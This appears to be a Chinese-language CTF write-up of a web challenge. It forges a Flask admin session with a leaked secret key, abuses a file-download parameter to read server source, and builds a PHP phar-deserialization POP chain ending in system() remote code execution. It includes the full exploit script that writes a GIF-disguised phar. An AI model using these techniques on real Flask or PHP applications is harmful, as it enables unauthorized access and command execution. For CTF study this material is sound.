打开注册框,尝试注册admin不允许,随便注册一个进入看看框架是flask框架
出现home,flag,kiss_me,logout四个选项
都点一边发现kiss_me给了一个guetsec的字符串
flag是下载了fakeflag.txt打开就是一个假的flag
但是发现下载是有一个参数filename传,抓包看看发现cookie处是一个session。这是个flask框架
flask框架的session值的第一段是base64加密的用户信息,第二段是数据包的时间戳,第三段是key加密后的值.若要伪造session就要有key
于是想到前面给的guetsec可能是session的key.于是尝试伪造session登录admin账户
得到session后替换数据包中的session并放包发现成功登录上admin
这时再抓包去访问upload和you_can_find_what_you_want页面就可以看到,upload是一个文件上传的界面,且查看源代码发现有一个class.php的注释
再到另一个文件下载的页面,前面修改filename的值总说是没有权限,现在是admin就可以尝试去访问文件,于是就改filename的值为刚刚看到的class.php发现源码
得到class.php的代码
name='Spr1te3';
}
public function __destruct(){
echo $this->name;
}
}
class B{
private $shell;
public $func;//func=system()
public function __construct(){
$this->shell=new D();
}
public function __get($var){
$this->$var->{$this->func}($_POST['cmd']);
}
}
class C{
public $GUET;//GUET=B
public $CTF;
public function __construct($GUET){
$this->GUET=$GUET;
}
public function Spr1te3($var){
$GUET=$this->GUET;
$sec=$this->GUET->$var;
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);//method=Spr1te3&&var=D
return $this->CTF;
}
}
class D{
public $func;
public $arg;//cat flag
public function __construct(){
$this->func;
$this->arg;
}
public function __call($func,$arg){
$func($arg[0]);
}
}
$filename=$_GET['filename'];
file_exists($filename);
不知道用途再去看看文件上传,打开发现只能上传gif文件。而且看到文件上传是在upl0ad.php文件中,于是利用同样的方法下载源代码发现upl0ad.php的检测规则
if ($_FILES["file"]["type"] == "image/gif" && strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION)) == "gif" && validate_gif_header($_FILES["file"]["tmp_name"]))
大概意思就是白名单检查了文件头和尾缀和MIME.这里一开始以为是二次渲染然后利用文件下载处触发,后面尝试不行又想用Nginx解析漏洞,但是好像版本不对。。
后面看提示后得知是phar反序列化触发rce.
观看上面的pop链
首先是切入点是A类中的__destruct()
echo $this->name;
令name为B类触发B类中的__toString()
$this->{$_POST['method']}($_POST['var']);
调用自身的类中的Spr1te3()
$sec=$this->GUET->$var;
利用GUET=new B()调用B类中的私有变量触发__get($var)
public function __construct(){
$this->shell=new D();
}
public function __get($var){
$this->$var->{$this->func}($_POST['cmd']);
}
这里传入的var为shell私有变量,并可以在__construct()触发时修改shell的值为D类(shell=new D())从而使调用D类中一个不存在的函数时触发__call($func,$arg)这里$func应该是一个全局变量既作为一个D类中没有的函数又作为__call()中$func($arg[0])执行的函数,无疑就是RCE中想要的system()函数了,而$arg就是前面$this->$var->{$this->func}($_POST['cmd'])中POST传入的cmd参数的值了,显然就是system要执行的命令了
如此一条完整的pop链就构造出来了
A::__destruct()-->C::__toString()-->C::Spr1te3($var)-->B::__get($var)-->D::__call($func,$arg)
链子构造好后,就看到file_exists()函数,这个函数是用于检查指定路径的文件或目录是否存在的函数。在这里可以利用这个函数触发phar文件的反序列化。
最终exp:
name='Spr1te3';
}
public function __destruct(){
echo $this->name;
}
}
class B{
private $shell;
public $func;
public function __construct(){
$this->shell=new D();
}
public function __get($var){
$this->$var->{$this->func}($_POST['cmd']);
}
}
class C{
public $GUET;
public $CTF;
public function __construct($GUET){
$this->GUET=$GUET;
}
public function Spr1te3($var){
$GUET=$this->GUET;
$sec=$this->GUET->$var;
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
}
}
class D{
public $func;
public $arg;
public function __construct(){
$this->func;
$this->arg;
}
public function __call($func,$arg){
$func($arg[0]);
}
}
$a=new A();
$b=new B();
$c=new C();
$a->name=$c;
$b->func='system';
$c->GUET=$b;
$phar = new Phar("f.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.' php __HALT_COMPILER(); ?>'); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注意:在生成phar之前一定要确保php.ini配置文件中的phar.readonly 改为Off
之后利用编译器运行该php文件生成phar文件,生成后改文件尾缀为gif
将文件上传到服务器上
之后就是在class.php文件下传入参数filename(GET),method(POST),var(POST),cmd(POST)
总结:
在有可控文件变量的条件下利用phar://协议可以将任意尾缀的文件当phar文件去解析从而触发反序列化(指在对方服务器的特定函数下)
受影响的函数:
参考:利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)